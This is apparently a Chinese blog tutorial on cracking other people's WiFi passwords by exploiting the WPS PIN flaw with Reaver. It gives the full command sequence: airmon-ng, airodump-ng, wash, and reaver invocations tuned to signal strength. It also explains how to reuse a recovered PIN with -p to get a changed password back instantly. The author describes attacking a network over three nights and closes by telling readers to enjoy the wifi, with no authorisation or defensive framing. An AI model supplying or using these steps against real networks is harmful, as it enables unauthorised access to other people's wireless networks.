前言
前段时间写了一篇如何用airceack-ng获取握手包从而破解wifi密码的文章。一般来说只要有耐心,都能截获握手包。但获取密码的最后一步跑cap包十分耗时,而且如果字典不够大,经常跑不出来。而且一旦wifi管理员更改密码,又要重新来一遍。今天介绍的方法依旧非常耗时,但是好在一定能获得密码,并且wifi管理员更改密码,很快可以重新获得更改后的密码。
背景
让我们简单了解一下Reaver的工作原理。它利用了WiFi保护设置(WiFi Protected Setup - 下文中简称为WPS)的一个弱点,WPS是许多路由器上都有的一个功能,可以为用户提供简单的配置过程,它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码的一个缺陷,最终的结果就是,只要有足够的时间,它就能破解WPA或WPA2的密码。当然,很多路由器支持PIN码的修改,但是绝大多数人并不会这么做。
过程
关闭进程
部分进程可能影响到后续的操作。
airmon-ng check kill
开启网卡
airmon-ng start wlan1
查看ap信号强度
破解的wifi当然要选信号强的,这样的wifi破解速度更快,用起来也更好。
airodump-ng wlan1mon
1.png
查看支持wps的ap
wash -i wlan1mon -C
2.png
reaver
应因状况调整参数:MAC即BSSID的值,-c后面的数字是CH的值。
目标信号非常好:
reaver -i wlan1mon -b MAC -a -S -vv -d0 -c 1
目标信号普通:
reaver -i wlan1mon -b MAC -a -S -vv -d2 -t 5 -c 1
目标信号一般:
reaver -i wlan1mon -b MAC -a -S -vv -d5 -c 1
3.png
然后就是长时间的等待。像图中这种每十次就要等待60s,等待的时间长一点,但是一定能得到结果。像这个wifi我破解了三个晚上。白天该干啥干啥,晚上睡前攻击wifi。而且reaver可以随时停止,它自己会保存进度。
4.png最终你就能得到wifi的PIN码以及密码。把这两个记下来,一般来说wifi主人过段时间就会更改密码但不会更改PIN码,这时我们只要加上 -p 命令,WiFi密码秒出。
愉快的享受wifi吧!
网友评论